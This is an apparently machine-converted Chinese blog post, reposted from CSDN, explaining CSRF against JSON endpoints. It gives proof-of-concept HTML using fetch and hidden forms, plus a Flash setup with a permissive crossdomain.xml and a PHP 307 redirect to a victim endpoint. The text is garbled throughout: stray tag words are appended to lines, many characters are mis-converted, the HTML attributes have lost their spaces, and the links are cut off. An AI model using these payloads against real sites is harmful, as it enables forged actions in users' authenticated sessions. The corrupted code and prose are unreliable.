CSRF(跨站點請求僞造)在Flash中的利用

0×00 前言php

CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。html

對於大多數網站,瀏覽器請求會自動包含任何與網站相關的憑證,例如用戶的會話cookie,IP地址,Windows域憑證等等json

你們都知道CSRF攻擊,使用burpsuite裏自帶的加強工具(engagement tools)能夠很容易地構造各類基本的CSRF攻擊POC,包括經過XHR請求進行的CSRF攻擊。跨域

在這篇文章中,我將要談論我常常遇到的CSRF場景,而且我將盡量嘗試講清楚.瀏覽器

0×01 正文服務器

接下來的兩種方法能夠用在使用JSON格式數據進行post請求的狀況下.好比{「name」:」test」, 「email」:」victim.com」} ,有如下兩個場景.cookie

場景1app

服務器查找json格式的數據,但不驗證內容類型dom

場景2工具

服務器尋找json格式的數據並驗證Content-type,也就是application / json

注意:這個csrf攻擊只適用於應用程序只依賴json格式的數據或內容類型的應用程序/ json和數據格式檢查,若是有任何額外的csrf標記/ referer檢查的地方這將沒法正常工做。

開發案例1:

只要使用Fetch請求就能夠完成,正如咱們所知,在這種狀況下,服務器只檢查發佈的數據是否格式正確,若是是,它將接受請求,而無論內容類型是否設置爲文本/純文本

如今假設咱們必須將這個測試數據提交給易受攻擊的應用程序:{「name」:「attacker」,「email」:「attacker@gmail.com」}

更新的方法:

<html><title>JSON CSRF POC</title><body><center><h1> JSON CSRF POC </h1><script>fetch('http://vul-app.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script><formaction="#"><inputtype="button"value="Submit" /></form></center></body></html>

資料來源:http://research.rootme.in/for...

之前的方法—-使用form:

使用form構造JSON數據等而後發起post請求:

html><title>JSON CSRF POC</title><center><h1> JSON CSRF POC </h1><formaction=http://vul-app.commethod=post...="text/plain" ><inputname='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"'value='test"}'type='hidden'><inputtype=submitvalue="Submit"></form></center></html>

若是應用程序不關心在我看到的大多數狀況下發生的額外數據,這將使用有效的json格式的數據發出請求並填充一些額外的數據。若是沒有,老是有第二種使用方式。

資料來源:http://blog.opensecurityresea...

開發案例2:

在這裏即便應用程序正在驗證  內容類型和數據格式,這種攻擊也可使用flash和307重定向來實現。

要求:

精心製做的Flash文件

跨域XML文件

帶有307個狀態的PHP文件

精心製做的flash文件:

這個flash(.swf)文件有咱們的json格式的數據,攻擊者必須在目標應用程序上發佈,並連接到託管的php文件。

這裏是測試的  SWF文件,你能夠根據你的須要下載和編輯內容,我使用FFDec在Windows上進行編輯和編譯Flash文件,你能夠根據你的環境檢查其餘人。

crossdomain XML文件:

<cross-domain-policy><allow-access-fromdomain=""secure="false"/><allow-http-request-headers-fromdomain=""headers="*"secure="false"/></cross-domain-policy>

這個文件應該放在攻擊者網站的根目錄下,這樣Flash文件就能夠向攻擊者的主機發送請求。

注意:若是Flash文件&重定向器頁面在同一個域,則不須要crossdomain文件。

重定向的PHP文件

<?php// redirect automaticallyheader("Location: https://victim.com/user/endpoint/";, true, 307);?>

Flash文件請求這個php文件,這將使307重定向到提到的應用程序端點,而且307是特殊的重定向,它將從Flash文件接收到的JSON數據也post到目標端點,而且CSRF將成功執行.

 

注意:由於這是基於閃存的,因此應該在瀏覽器中安裝閃存以使其工做。 

做者:CanMengBlog
來源:CSDN
原文:https://blog.csdn.net/weixin_... 版權聲明:本文爲博主原創文章,轉載請附上博文連接!

相關文章
相關標籤/搜索